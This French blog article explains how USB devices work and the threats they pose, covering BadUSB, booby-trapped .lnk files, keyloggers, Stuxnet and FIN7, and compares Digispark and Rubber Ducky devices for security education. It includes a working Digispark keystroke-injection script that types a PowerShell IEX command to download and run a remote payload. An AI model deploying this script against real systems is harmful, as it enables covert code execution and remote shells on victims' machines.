Périphériques USB : Comprendre les Menaces et Risques (BadUSB, Keyloggers, etc.)

Les périphériques USB, comme BadUSB et les keyloggers physiques, représentent des menaces majeures pour la sécurité des systèmes. Découvrez comment ces attaques fonctionnent, leurs risques et pourquoi une approche rigoureuse est essentielle pour protéger vos infrastructures.

Illustration des menaces de sécurité liées aux périphériques USB.
Miniature de l'article "Comprendre les menaces et risques des périphériques USB", abordant les dangers tels que les BadUSB et les keyloggers, ainsi que les solutions de protection.

Fonctionnement général des périphériques USB

Introduction

Les périphériques USB (Universal Serial Bus) se divisent en catégories standardisées par l’USB Implementers Forum (USB-IF), garantissant une compatibilité universelle avec les systèmes hôtes. Ces standards définissent des règles précises pour la gestion des pilotes et des fonctionnalités, permettant aux périphériques de s’intégrer efficacement dans divers environnements informatiques. Chaque classe répond à des exigences spécifiques, optimisant les échanges entre le périphérique et le système.

Découvrez les différentes catégories de périphériques USB (Mass Storage, HID, Printer, Communication Devices et Audio/Vidéo) standardisées pour une compatibilité matérielle et logicielle optimale.
Infographie expliquant les catégories de périphériques USB selon l'USB Implementers Forum (USB-IF), comprenant les dispositifs de stockage, HID, imprimantes, communication et audio/vidéo.

Les principales classes incluent :

  • Mass Storage : Cette classe englobe les clés USB, disques durs externes et lecteurs de cartes mémoire. Ces périphériques reposent sur deux principaux protocoles :
    • Bulk-Only Transport (BOT) : Introduit avec l’USB 2.0, BOT offre un flux de données séquentiel, structuré en trois phases : envoi d’une commande, transfert des données (lecture ou écriture), et réponse d’état. Bien que fiable, ce protocole présente des limitations : ses transferts bloquants empêchent l’exécution simultanée de plusieurs opérations, réduisant ainsi les performances, particulièrement lors de tâches complexes ou impliquant de multiples fichiers. BOT demeure prédominant pour les périphériques économiques ou d’entrée de gamme.
    • UASP (USB Attached SCSI Protocol) : Conçu pour l’USB 3.0 et les générations ultérieures, UASP exploite le protocole SCSI pour gérer les transferts de données de manière asynchrone et parallèle. Contrairement à BOT, UASP prend en charge plusieurs commandes simultanées grâce à une file d’attente native SCSI, minimisant les goulots d’étranglement et les latences. Cela se traduit par des vitesses significativement accrues, en particulier pour les gros fichiers et les transferts intensifs, faisant d’UASP le choix privilégié des périphériques modernes hautes performances.
  • HID (Human Interface Device) : Les périphériques HID, tels que les claviers, souris et joysticks, sont au cœur de l’interaction utilisateur. Conformes à la norme HID 1.11, ces dispositifs transmettent des données sous forme de rapports périodiques.
    • Rapports périodiques : À intervalles réguliers, le périphérique envoie un état au système, qu’il y ait ou non une activité. Ce mécanisme garantit une latence minimale, essentielle pour des actions en temps réel, comme les mouvements précis d’une souris ou les frappes sur un clavier.
    • Transferts interrupt-driven : Les HID s’appuient sur des interruptions pour notifier l’hôte des changements d’état, réduisant ainsi la charge sur le système et optimisant la réactivité.
  • Printer : La classe Printer regroupe les imprimantes et scanners, responsables des tâches d’impression et de numérisation. Ces périphériques utilisent des protocoles spécifiques, souvent bidirectionnels, permettant :
    • L’envoi des données à imprimer ou des commandes de configuration vers l’imprimante.
    • La réception des états de l’imprimante, tels que la disponibilité des cartouches ou la progression des travaux.
  • Audio et Vidéo : Les microphones, haut-parleurs et webcams relèvent de cette catégorie, exploitant des standards avancés pour garantir des performances optimales :
    • Audio Class 2.0 : Optimisé pour la transmission de flux audio haute fidélité, il prend en charge des résolutions audio élevées et des configurations multicanaux, adaptées aux systèmes audiophiles et professionnels.
    • UVC (USB Video Class) : Cette norme gère efficacement la capture et la transmission vidéo, minimisant les latences pour des flux en temps réel. Les webcams et autres périphériques vidéo bénéficient d’une prise en charge étendue par les systèmes d’exploitation modernes.
  • Communication Devices : Les modems et cartes réseau USB, intégrés dans cette classe, s’appuient sur la CDC (Communications Device Class), un standard flexible permettant :
    • Des communications série, comme les connexions modem traditionnelles.
    • L’émulation de cartes réseau pour établir des connexions Ethernet virtuelles.

Les classes USB répondent à des besoins fonctionnels bien définis, en établissant des normes strictes pour la communication entre les périphériques et les systèmes hôtes. Cette standardisation garantit une compatibilité matérielle et logicielle tout en permettant une gestion optimisée des ressources, qu’il s’agisse de l’association automatique des pilotes, de la priorisation des transferts ou de la négociation des performances (bande passante, latence et consommation énergétique).

Interaction avec l’hôte : Les descripteurs USB comme clé d’identification

Lorsqu’un périphérique USB est connecté, l’hôte initie un processus structuré basé sur une série de descripteurs USB. Ces descripteurs constituent une base de métadonnées normalisées, fournissant des informations essentielles au système. On distingue plusieurs types de descripteurs, chacun ayant un rôle précis :

  • Descripteur de périphérique (Device Descriptor) : Fournit des informations globales sur le périphérique, telles que la version USB supportée, le Vendor ID (VID) et le Product ID (PID).
  • Descripteur de configuration (Configuration Descriptor) : Indique les modes de fonctionnement disponibles, comme les besoins en alimentation et les interfaces actives.
  • Descripteur d'interface (Interface Descriptor) : Décrit les fonctionnalités spécifiques accessibles via une interface, comme les transferts de données ou les commandes HID.
  • Descripteur d’extrémité (Endpoint Descriptor) : Spécifie les points de communication (endpoints) utilisés pour échanger des données, avec leurs types (bulk, interrupt, isochrone) et leur taille maximale de paquets.
  • Classe et sous-classe : Identifient la nature et les fonctionnalités standard du périphérique.
  • Identifiants uniques : Les Vendor ID (VID) et Product ID (PID) distinguent les périphériques spécifiques des fabricants.
  • Caractéristiques techniques : Vitesse (Low, Full, High, SuperSpeed), alimentation, et tailles maximales de paquets.

Formalisation des Descripteurs en C

Les descripteurs USB sont représentés sous forme de structures (struct) dans le code bas niveau. Voici un exemple de code en C illustrant la structure d’un descripteur de périphérique USB (Device Descriptor) :

#include <stdint.h>

// Structure standard du Descripteur de périphérique USB (USB Device Descriptor)
struct usb_device_descriptor {
    uint8_t  bLength;            // Taille du descripteur en octets
    uint8_t  bDescriptorType;    // Type de descripteur (0x01 pour Device Descriptor)
    uint16_t bcdUSB;             // Version de la spécification USB (ex: 0x0200 pour USB 2.0)
    uint8_t  bDeviceClass;       // Classe du périphérique (0x00 si définie par interface)
    uint8_t  bDeviceSubClass;    // Sous-classe
    uint8_t  bDeviceProtocol;    // Protocole
    uint8_t  bMaxPacketSize0;    // Taille maximale des paquets pour endpoint 0
    uint16_t idVendor;           // Vendor ID (identifiant du fabricant)
    uint16_t idProduct;          // Product ID (identifiant du produit)
    uint16_t bcdDevice;          // Numéro de version du périphérique
    uint8_t  iManufacturer;      // Index de la chaîne fabricant
    uint8_t  iProduct;           // Index de la chaîne produit
    uint8_t  iSerialNumber;      // Index de la chaîne numéro de série
    uint8_t  bNumConfigurations; // Nombre de configurations possibles
};

Étapes du processus d’identification et de configuration

Une fois le périphérique connecté, l’hôte suit une séquence rigoureuse pour établir une communication optimale :

  1. Interrogation initiale : L’hôte envoie une série de requêtes via le canal de contrôle (endpoint 0). Ces requêtes incluent la commande GET_DESCRIPTOR pour récupérer les descripteurs du périphérique.
  2. Négociation de la vitesse : Un "handshake" initial permet de déterminer la vitesse maximale supportée par le périphérique et l’hôte. Par exemple, un périphérique USB 3.1 peut atteindre des débits théoriques de 5 Gbps (SuperSpeed).
  3. Identification via VID et PID : L’hôte compare les Vendor ID et Product ID à une base de données interne pour associer le périphérique à un pilote approprié.
    • Périphériques génériques : Des pilotes standards, tels que usb-storage pour les périphériques de stockage ou usbhid pour les périphériques HID, sont utilisés.
    • Périphériques propriétaires : Ils nécessitent souvent des pilotes spécifiques, capables de gérer des fonctionnalités avancées ou non standard.
  4. Activation des endpoints : Une fois le périphérique configuré, l’hôte active les endpoints nécessaires, établissant ainsi les canaux de transfert de données.

Exemple d’intégration : Périphériques USB modernes

  • Lorsqu'une clé USB est connectée, l’hôte identifie sa classe comme Mass Storage grâce au descripteur d'interface. Le pilote usb-storage est chargé, permettant un accès transparent aux données via des commandes SCSI encapsulées.
  • Un périphérique comme une webcam, classé en USB Video Class (UVC), déclenche le chargement d’un pilote compatible pour prendre en charge le flux vidéo avec un débit optimisé.

Une Architecture Hiérarchique

Le protocole USB repose sur une architecture hiérarchique structurée autour de nœuds et d’un modèle maître-esclave. Cette conception permet une communication optimale entre les périphériques et l’hôte.

  • Interopérabilité Universelle

La norme USB spécifie des protocoles de transfert (contrôle, bulk, isochrone, interrupt) adaptés à des besoins variés :

    • Contrôle : Utilisé pour les échanges initiaux de descripteurs (device, configuration) via l'Endpoint 0.
    • Bulk : Optimisé pour le transfert de gros volumes de données (ex : stockage avec BOT ou UASP).
    • Interrupt : Privilégié pour les périphériques nécessitant des réponses rapides et périodiques, comme les HID.
    • Isochrone : Réservé aux applications temps réel (streaming audio/vidéo), où la bande passante prime sur la fiabilité des paquets.
      Grâce à cette segmentation fine des types de transfert, les périphériques USB s’intègrent nativement à une grande diversité de systèmes sans configuration complexe.
  • Optimisation Dynamique des Ressources

L’USB intègre un processus plug-and-play basé sur une négociation précise entre l’hôte et le périphérique :

    • Négociation des vitesses : Dès la connexion, l’hôte utilise des handshakes pour déterminer la vitesse optimale supportée (Low, Full, High, SuperSpeed) en interrogeant les descripteurs USB.
    • Gestion de l’alimentation : Les périphériques déclarent leurs besoins énergétiques dans le descripteur de configuration. L’hôte ajuste la distribution électrique via des mécanismes comme USB Power Delivery (PD) pour éviter les surtensions.

Ces optimisations permettent une utilisation efficace des ressources CPU, de la bande passante et des capacités électriques du bus.

  • Évolutivité et Compatibilité Ascendante

Le protocole USB est conçu pour maintenir une compatibilité ascendante :

    • Les périphériques USB 2.0 fonctionnent sur des contrôleurs USB 3.0 grâce aux mécanismes de rétrocompatibilité.
    • La prise en charge des classes standardisées (HID, Mass Storage, Audio, etc.) facilite l’intégration de nouveaux périphériques sans mise à jour logicielle ou matérielle majeure.
    • Les innovations comme UASP (USB Attached SCSI Protocol) ou USB4 illustrent cette capacité d’évolution en augmentant les performances sans sacrifier l’interopérabilité avec les anciens protocoles.
  • Modularité et Structure des Descripteurs

L’utilisation de descripteurs hiérarchiques (Device, Configuration, Interface, Endpoint) permet une modularité précise :

  • Device Descriptor : Fournit l’identité globale du périphérique (VID, PID, version USB).
  • Configuration Descriptor : Définit les modes d’alimentation et les interfaces disponibles.
  • Interface Descriptor : Découpe les fonctionnalités par classe (ex : HID ou Mass Storage).
  • Endpoint Descriptor : Précise les canaux de communication et leurs caractéristiques (type, taille, fréquence).

Par exemple, une webcam peut déclarer simultanément :

  • Une interface Video Streaming (USB Video Class - UVC).
  • Une interface HID pour les commandes de zoom ou de contrôle.

Cette architecture modulaire permet à un périphérique d’offrir plusieurs fonctionnalités via un seul port USB, tout en garantissant une gestion optimale des échanges par l’hôte.

Toutefois, bien que la structure modulaire des descripteurs USB favorise l'interopérabilité et la flexibilité des périphériques, elle constitue également une opportunité pour les attaquants. En effet, un attaquant peut exploiter cette souplesse pour enchaîner des attaques complexes en combinant plusieurs interfaces USB, telles que le stockage, le réseau et le HID.

TL;DR : Fonctionnement et Sécurité des Périphériques

Les périphériques USB sont classés selon des standards établis par l'USB-IF, garantissant une compatibilité universelle et une gestion efficace des pilotes. Chaque périphérique est identifié via des descripteurs hiérarchiques (Device, Configuration, Interface, Endpoint), qui définissent ses capacités et son fonctionnement.

Les principales classes de périphériques USB incluent :

  • Mass Storage (Stockage) : Utilise les protocoles BOT (séquentiel, bloquant) et UASP (asynchrone, parallèle) pour optimiser les transferts de données.
  • HID (Human Interface Device) : Claviers, souris, utilisant des rapports périodiques et des interruptions pour des interactions en temps réel.
  • Printer, Audio, Vidéo, Communication : Intègrent des normes spécifiques pour garantir un fonctionnement fluide sur divers systèmes.

L'USB repose sur une architecture hiérarchique et modulaire, permettant une interopérabilité universelle, une optimisation des ressources (négociation de la vitesse, gestion de l'alimentation via USB Power Delivery), et une compatibilité ascendante, assurant la prise en charge des anciens périphériques.

Cependant, cette flexibilité introduit des risques de sécurité majeurs, exploitant différentes vulnérabilités inhérentes à l'architecture USB :

  • Programmabilité des microcontrôleurs (BadUSB) : Des périphériques peuvent être reprogrammés pour se faire passer pour des dispositifs de confiance, tels que des claviers (HID), permettant l'exécution automatique de commandes malveillantes. Cette menace repose sur la confiance implicite accordée aux périphériques USB par les systèmes d'exploitation.
  • Chaînage multi-interface : L'architecture modulaire de l'USB peut être exploitée par un périphérique malveillant capable de changer dynamiquement d'identité, en apparaissant d'abord comme un clavier HID pour exécuter des commandes, puis comme un périphérique de stockage pour exfiltrer des données, ou encore comme une interface réseau pour établir des connexions externes non autorisées. Ce type d’attaque exploite la capacité d’un périphérique à déclarer et à exploiter plusieurs interfaces simultanément ou successivement.

Ces attaques tirent parti des failles de sécurité inhérentes au protocole USB, telles que la confiance implicite accordée aux périphériques et l’absence de contrôle granulaire sur les changements d’identités déclarées par les périphériques connectés.


Introduction aux risques de sécurité des périphériques USB

Les périphériques USB, omniprésents dans les environnements professionnels et personnels, représentent une menace sous-estimée en matière de sécurité. Leur facilité d’utilisation et la confiance implicite accordée par les systèmes d’exploitation en font un vecteur d’attaque privilégié pour les cybercriminels.

Ces attaques se déclinent en plusieurs catégories, exploitant à la fois des vulnérabilités logicielles, des techniques de camouflage et des comportements malveillants intégrés aux périphériques. Voici quelques exemples :

  1. Attaques basées sur les microcontrôleurs programmables
    Les attaques telles que BadUSB exploitent les failles structurelles du protocole USB. Le microcontrôleur programmable des périphériques peut être reprogrammé pour changer dynamiquement son identité. Cela permet à une clé USB malveillante de se faire passer pour un clavier HID, un périphérique réseau ou un autre dispositif légitime.
Exemple : Une clé USB peut se comporter comme un clavier HID, injectant des commandes arbitraires à l’insu de l’utilisateur pour exécuter des scripts malveillants sur la machine hôte.
  1. Attaques exploitant des malwares dissimulés
    Les périphériques USB peuvent également servir de support pour dissimuler des malwares traditionnels, exécutés lorsque l’utilisateur interagit avec le contenu de la clé. Ces attaques nécessitent une action involontaire de l’utilisateur (double-clic, ouverture de fichier), mais reposent souvent sur des techniques d’ingénierie sociale pour tromper la vigilance.
  • Techniques courantes :
    • Fichier .lnk piégé : Un raccourci Windows (.lnk) cache l’exécution d’une commande malveillante déguisée en fichier légitime. Par exemple, l’icône d’un fichier image .jpg est associée à un script malveillant. Lors de son ouverture, l’Explorateur Windows exécute le malware sans afficher d’alerte.
💡
Exemple : Stuxnet a utilisé cette méthode via une clé USB infectée contenant un fichier .lnk exploitant une vulnérabilité zero-day (CVE-2010-2568). L’exécution automatique était déclenchée dès l’insertion, sans interaction explicite.
    • Payloads dissimulés dans des documents : Des fichiers Office (.docx, .xlsx) ou PDF embarquent des macros malveillantes ou des exploits, déclenchés à l’ouverture du fichier.
    • Double extension : Un fichier nommé photo.jpg.exe s’affiche comme une image à cause des paramètres d’affichage de Windows, incitant l’utilisateur à l’exécuter.
  1. Exploitation des failles zero-day
    Les vulnérabilités zero-day dans les systèmes d’exploitation ou logiciels permettent d’exécuter du code malveillant dès la connexion du périphérique, sans interaction utilisateur. Ces failles sont particulièrement dangereuses car elles sont inconnues des éditeurs et non corrigées au moment de leur exploitation.
  • Exemple :
    • CVE-2010-2568 (Stuxnet) : Une faille dans la gestion des raccourcis .lnk permettait d’exécuter automatiquement du code malveillant à l’insertion d’une clé USB.
    • Exploitation d’USB autorun : Sur des systèmes Windows plus anciens, les fonctionnalités AutoRun et AutoPlay pouvaient exécuter automatiquement un fichier malveillant (autorun.inf) présent sur une clé USB.
  1. Keyloggers matériels et périphériques espion
    Certains dispositifs USB, comme les keyloggers physiques, interceptent et enregistrent discrètement les frappes clavier, tandis que des périphériques avancés (ex : LAN Turtle) simulent des interfaces réseau pour exfiltrer des données ou établir des reverse shells.
Exemple : Un attaquant peut brancher un keylogger entre le clavier et le port USB pour capturer toutes les frappes (mots de passe, informations sensibles).

Les périphériques USB constituent une surface d’attaque majeure, touchant aussi bien les entreprises que les particuliers. Leur universalité et leur confiance implicite par les systèmes d’exploitation en font des cibles idéales pour les cybercriminels. Qu’il s’agisse de microcontrôleurs programmables (comme dans les attaques BadUSB), de failles zero-day exploitables à l’insertion, ou encore de malwares cachés nécessitant une interaction utilisateur, les risques sont nombreux et souvent gravement sous-estimés.

Conséquences et cas réels d'attaques USB

Les attaques USB ont démontré leur efficacité dévastatrice dans divers contextes, des infrastructures critiques aux environnements professionnels et privés. Leur simplicité d'exécution, combinée à la confiance implicite accordée aux périphériques USB, en fait un vecteur de choix pour les attaquants.

Les attaques via USB ont prouvé leur efficacité dévastatrice dans une variété de contextes, allant des infrastructures critiques aux environnements professionnels et privés. Leur simplicité d'exécution, alliée à la confiance aveugle accordée aux périphériques USB, en fait un vecteur de choix pour les attaquants.

Voici quelques cas documentés emblématiques illustrant les dangers de ces attaques :

  • Le cas Stuxnet : La plus grande cyberattaque industrielle de l’histoire

Stuxnet représente l’une des attaques les plus sophistiquées de l’histoire de la cybersécurité. Identifié pour la première fois en 2010, ce ver informatique a été conçu pour cibler spécifiquement les systèmes SCADA utilisés dans les installations industrielles, en particulier les centrifugeuses des centrales nucléaires iraniennes. Son mode de propagation initial reposait sur des clés USB infectées, démontrant ainsi la gravité des risques liés aux périphériques USB dans les environnements critiques et isolés (air-gapped).

Le vecteur d’infection : vulnérabilité des fichiers .lnk

Les clés USB utilisées pour diffuser Stuxnet contenaient des fichiers de raccourcis .lnk spécialement conçus pour exploiter une vulnérabilité zero-day dans Windows (CVE-2010-2568).

  1. La faille CVE-2010-2568 :
    • Cette vulnérabilité, présente dans l’Explorateur Windows, résidait dans le mécanisme d’affichage des icônes des fichiers .lnk (raccourcis).
    • Lorsqu'une clé USB infectée était insérée dans un ordinateur :
      • Windows tentait d’afficher l’icône du fichier .lnk.
      • Cette action déclenchait automatiquement l’exécution d’un code malveillant sans nécessiter aucune interaction de l’utilisateur.
    • Le fichier .lnk pointait vers une DLL malveillante ou un exécutable masqué (comme ~WTR4141.tmp), qui s’exécutait en mémoire.
  • Absence d’interaction : Contrairement aux attaques traditionnelles où l’utilisateur doit double-cliquer sur un fichier, ici, l’affichage automatique de l’icône suffisait à exploiter la vulnérabilité et à infecter la machine.
  • Propagation : Une fois exécuté, Stuxnet se copiait sur la machine hôte et recherchait d’autres supports USB connectés pour s’y répliquer, assurant ainsi sa propagation.Cette méthode lui permettait d’infecter des machines déconnectées d’Internet (environnements air-gapped).

Impact global : un tournant dans la cybersécurité

L’attaque Stuxnet a marqué un tournant majeur dans l’histoire des cyberattaques, en prouvant que des périphériques USB apparemment inoffensifs pouvaient servir de vecteurs d’attaque dans des environnements hautement sécurisés.

  • Infrastructures critiques vulnérables :
    • Les environnements industriels supposés isolés (air-gapped) ne sont pas invulnérables face aux attaques physiques via USB.
    • Les clés USB contaminées peuvent compromettre des systèmes stratégiques avec des impacts réels (destruction d'équipements, perturbation des opérations).
  • Exploitation des failles zero-day :
    • Stuxnet exploitait au moins quatre vulnérabilités zero-day, démontrant le niveau de sophistication de l’attaque :
      • CVE-2010-2568 : Exécution de code via .lnk (vecteur initial).
      • Failles additionnelles permettant l’escalade de privilèges et l’injection de code dans les PLC.
  • Sources et références :
Stuxnet Malware Analysis Paper
This article will focus on Stuxnet’s windows infection methods and spreading methods. The tricks were used by stuxnet and the evidences behind the criminals of stuxnet.

Stuxnet Malware Analysis Paper

W32.Stuxnet Dossier
Symantec paper includes technical details about components and data structures, as well as host of other information.

W32.Stuxnet Dossier

CVE - CVE-2010-2568
The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.

MITRE CVE-2010-2568

Bulletin de sécurité Microsoft MS10-046 - Critique

Bulletin de sécurité Microsoft MS10-046 - Critique

  • Le cas FIN7 : une campagne sophistiquée exploitant les clés USB pour des attaques ciblées

FIN7, également connu sous le nom de Carbanak Group, est un groupe cybercriminel notoire spécialisé dans des attaques complexes contre des entreprises et organisations de divers secteurs. Une de leurs campagnes les plus marquantes a impliqué l’envoi de clés USB malveillantes déguisées en dispositifs promotionnels, démontrant l’efficacité des périphériques USB comme vecteurs d’attaque.

Gift box containing a malicious USB stick and counterfeit gift card used in a phishing campaign by FIN7 (Source: Natural Networks' Twitter page).
A malicious USB stick and counterfeit gift card disguised as a promotional gift, used in a sophisticated phishing campaign by FIN7 to deliver malware (Source: Natural Networks' Twitter page).

Le vecteur d’infection : USB et ingénierie sociale

Schéma des tactiques d'attaque USB utilisées par FIN7, illustrant les phases d'infection, de persistance et d'exfiltration de données, avec des techniques telles que le spear-phishing USB et l'utilisation de périphériques malveillants.
Diagramme détaillant les différentes étapes des attaques USB menées par le groupe FIN7 (G0046), incluant l'injection de malwares, la compromission des systèmes cibles et l'exfiltration des données sensibles.

Dans cette campagne, FIN7 a utilisé une approche d'ingénierie sociale soigneusement planifiée :

  1. Envoi de colis physiques :
    Les attaquants envoyaient des colis contenant des clés USB malveillantes accompagnées de lettres personnalisées et trompeuses. Ces lettres se présentaient comme des communications officielles ou des offres promotionnelles d’entreprises légitimes, incitant les destinataires à brancher les clés USB sur leurs ordinateurs.l
  2. Dispositifs USB programmés en BadUSB :
    Les clés USB utilisées dans cette attaque n’étaient pas de simples dispositifs de stockage. Elles intégraient une reprogrammation de leur microcontrôleur pour émuler un clavier (technique BadUSB). Cela leur permettait d’exécuter automatiquement des commandes malveillantes dès leur connexion à un système.
  3. Absence d’interaction requise :
    Une fois insérée, la clé USB injectait des scripts malveillants en simulant des frappes clavier, contournant ainsi les protections traditionnelles comme les antivirus.

Les objectifs de l’attaque

L'objectif principal de cette campagne était le déploiement de malwares pour compromettre les systèmes des victimes. Ces malwares incluaient :

  • Ransomwares :
    FIN7 a souvent utilisé des ransomwares comme REvil ou BlackMatter pour chiffrer les données des entreprises, exigeant une rançon en échange de la clé de déchiffrement.
  • Espionnage et vol de données :
    Les attaquants cherchaient à accéder aux systèmes critiques pour voler des informations sensibles ou installer des portes dérobées pour un accès futur.
  • Perturbation des activités :
    En exploitant les failles de sécurité, FIN7 a pu causer des interruptions massives des opérations, notamment dans les secteurs de la restauration, du commerce de détail et des infrastructures critiques.

Les cibles de la campagne

FIN7 a particulièrement ciblé :

  • Les grandes entreprises :
    Secteurs visés : commerce de détail, hôtellerie, transport, assurance et défense.
  • Les services internes :
    Les départements informatiques, ressources humaines et direction générale étaient les principaux destinataires des colis.

Impact global : des dégâts considérables

☣️
Compromission des systèmes critiques :
Les dispositifs USB ont permis à FIN7 de contourner les protections réseau et d'infiltrer des environnements isolés ou hautement
💸
Perte financière :
Les entreprises ciblées ont subi des pertes massives dues à l’interruption des opérations, au paiement des rançons et à la reconstruction des systèmes compromis. Les entreprises ciblées ont subi des pertes massives dues à l’interruption des opérations, au paiement des rançons et à la reconstruction des systèmes compromis.

Sources :

FIN7, GOLD NIAGARA, ITG14, Carbon Spider, ELBRUS, Sangria Tempest, Group G0046 | MITRE ATT&CK®
FIN7 Targets US Enterprises Via BadUSB
Cybercrime gang FIN7 is impersonating the U.S. Department of Health and Human Services and Amazon to trick enterprises in the U.S. into using a malicious flash

Typologies des attaques USB

  • BadUSB : La reprogrammation des microcontrôleurs USB

BadUSB illustre une exploitation des capacités programmables des microcontrôleurs présents dans certains périphériques USB. Ces attaques reposent sur la reprogrammation du firmware d'un microcontrôleur intégré, comme l’Intel 8051 ou des alternatives similaires, permettant à un périphérique USB banal, comme une clé, de simuler un périphérique légitime, tel qu’un clavier (HID). Une fois inséré dans un ordinateur, ce faux périphérique est automatiquement reconnu et généralement autorisé à interagir avec le système.

Principe technique de l’attaque :

Reprogrammation du firmware :

  • Les microcontrôleurs intégrés, tels que l’Intel 8051 ou des modèles équivalents, peuvent être reprogrammés pour simuler des périphériques légitimes, comme un clavier HID.
💀
Cette modification échappe généralement par principe aux antivirus et autres protections traditionnelles, car elle s’effectue au niveau matériel. Cependant, bien que la clé USB elle-même puisse ne pas être immédiatement détectée, les systèmes de sécurité avancés tels que les EDR (Endpoint Detection and Response) et les solutions de monitoring comportemental peuvent identifier des activités suspectes une fois que des actions malveillantes sont exécutées sur la machine cible. Par exemple, si l'attaque tente d'exécuter des outils comme Mimikatz pour extraire les informations d'identification de la mémoire (dump LSASS), ou de télécharger des charges utiles malveillantes, ces comportements seront susceptibles de déclencher des alertes de sécurité et d’être bloqués.

Simulation d’un HID (Human Interface Device) :

    • Le périphérique reprogrammé se fait passer pour un clavier ou une souris, des dispositifs intrinsèquement approuvés par les systèmes d’exploitation.
    • Cette approbation automatique permet au périphérique de s’exécuter sans intervention ni autorisation explicite de l’utilisateur.

Injection automatisée de commandes (keystrokes) :

  • Une fois branché, le faux périphérique HID envoie des séquences de touches préprogrammées à haute vitesse.
  • Ces commandes peuvent, par exemple :
    • Ouvrir un terminal (exemple : cmd sous Windows).
    • Télécharger un exécutable malveillant depuis un serveur distant.
    • Modifier des fichiers de configuration ou injecter une backdoor persistante.
Le concept a été présenté pour la première fois lors de la conférence Black Hat 2014 par Karsten Nohl, Sascha Krißler, et Jakob Lell. Leur démonstration a mis en lumière l'absence de contrôle sur le firmware des périphériques USB. Peu après, des chercheurs indépendants ont publié du code exploitant cette vulnérabilité, rendant l’attaque accessible.

Le Digispark : Un outil économique pour BadUSB

Le Digispark, basé sur un microcontrôleur ATtiny85, est un exemple parfait d’outil détourné pour réaliser des attaques BadUSB. Initialement conçu pour des projets d’électronique grand public, son faible coût (environ 1 €) et sa compatibilité avec l’IDE Arduino en font une plateforme de choix.

Exemple d’attaque avec un Digispark

Ce script injecte une commande simple pour ouvrir un terminal sous Windows et télécharger un malware :

#include "DigiKeyboard.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://blog.franckferman.fr/payload.ps1');\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for (;;) {
    /*Stops the digispark from running the scipt again*/
  }
}

Exemple de script utilisant un Digispark ATtiny85 pour simuler un clavier HID et injecter des commandes malveillantes automatisées. Ce script ouvre une fenêtre PowerShell sur un système Windows et télécharge un script PowerShell malveillant à partir d'un serveur distant, permettant d'établir une connexion reverse shell en moins de 3 secondes.

  • Rubber Ducky : La BadUSB pour les professionnels

Le Rubber Ducky, conçu par Hak5, est un dispositif d’attaque USB avancé qui transcende les principes de BadUSB traditionnels en offrant des performances supérieures, une simplicité d'utilisation accrue et des fonctionnalités professionnelles. Contrairement aux solutions plus rudimentaires comme les BadUSB basées sur des microcontrôleurs économiques (par exemple, l'ATtiny85), le Rubber Ducky s’adresse à un public recherchant un outil clé en main, optimisé pour des scénarios variés, allant des tests d’intrusion aux démonstrations de vulnérabilités.

Différences notables entre BadUSB et Rubber Ducky

1. Coût et accessibilité

  • BadUSB : Une configuration basée sur un ATtiny85 est extrêmement abordable, avec un coût pouvant descendre en dessous d’un euro. Cela en fait une solution accessible pour des expérimentations à faible coût ou des tests d’attaques HID.
  • Rubber Ducky : À environ 75 euros, le Rubber Ducky est considérablement plus cher. Cette différence de prix reflète les fonctionnalités supplémentaires qu’il propose, notamment un écosystème logiciel dédié, une facilité d’utilisation et une conception prête à l’emploi.

2. Configuration et simplicité d’utilisation

La configuration et la simplicité d’utilisation représentent l’un des principaux critères différenciant le BadUSB, comme le Digispark ATtiny85, et le Rubber Ducky.

BadUSB : Configurer un dispositif BadUSB, comme un ATtiny85 de Digispark, nécessite plusieurs étapes techniques. Cela inclut l’installation et la configuration de l’Arduino IDE, le paramétrage du microcontrôleur, et l’écriture de scripts directement en C ou en utilisant des bibliothèques spécifiques comme DigiKeyboard.h. Si l’on souhaite utiliser le langage DuckyScript pour simplifier l’écriture des scripts, des outils supplémentaires comme DuckyEncoder et Duck2Spark sont requis pour convertir et compiler ces scripts avant de les flasher sur le microcontrôleur. Bien que ce processus soit accessible et intéressant pour les passionnés de bidouillage ou de programmation, il reste moins pratique et intuitif que des solutions plug-and-play. Pour ceux qui recherchent un outil clé en main, la simplicité et le gain de temps offerts par des dispositifs comme le Rubber Ducky sont indéniables. Savoir configurer un BadUSB est enrichissant, mais avoir une solution prête à l’emploi peut être plus agréable et efficace dans de nombreux cas.

Rubber Ducky : Le Rubber Ducky se distingue par son approche plug-and-play, pensée pour une utilisation immédiate et intuitive. Il offre un environnement dédié via un IDE en ligne, permettant aux utilisateurs de rédiger des scripts en DuckyScript, de les convertir automatiquement dans un format compatible, puis de les transférer directement sur le dispositif. Cette simplification élimine les étapes fastidieuses de compilation et de paramétrage souvent nécessaires avec des alternatives comme le BadUSB. En conséquence, le Rubber Ducky garantit une prise en main rapide et un déploiement efficace, rendant cet outil accessible même à des utilisateurs ayant peu ou pas de connaissances techniques.

  1. Différences matérielles

Design et praticité

Encore une fois, le Rubber Ducky se distingue par son approche véritablement clé en main ("plug-and-play"). Livré directement avec un boîtier compact et fini, il inclut un interrupteur physique dédié pour basculer facilement entre le mode configuration (pour charger les scripts Ducky) et le mode exécution (pour lancer les attaques). De plus, grâce à ses connecteurs USB Type-A et Type-C, le Rubber Ducky est compatible avec une large gamme de dispositifs, allant des ordinateurs aux smartphones, sans nécessiter d’adaptateurs externes.

En revanche, les dispositifs BadUSB, souvent basés sur un ATtiny85, nécessitent une conception artisanale pour obtenir une apparence discrète ou convaincante. Les utilisateurs doivent souvent créer ou adapter un boîtier DIY pour masquer l'électronique brute, ce qui peut augmenter le risque de détection si cela n’est pas réalisé avec soin. De plus, les connecteurs se limitent généralement à l’USB-A, ce qui réduit leur compatibilité avec des dispositifs modernes comme les smartphones sans l'ajout d'un adaptateur.

Personnalisation

Cependant, les BadUSB offrent une flexibilité unique : leur conception peut être totalement personnalisée. Par exemple, il est possible de fabriquer un boîtier arborant le logo ou le nom d’une entreprise ciblée pour renforcer la crédibilité lors d'attaques spécifiques. Cette personnalisation peut être un avantage dans des scénarios très ciblés, mais elle exige du temps, des outils, de l'argent et des compétences.

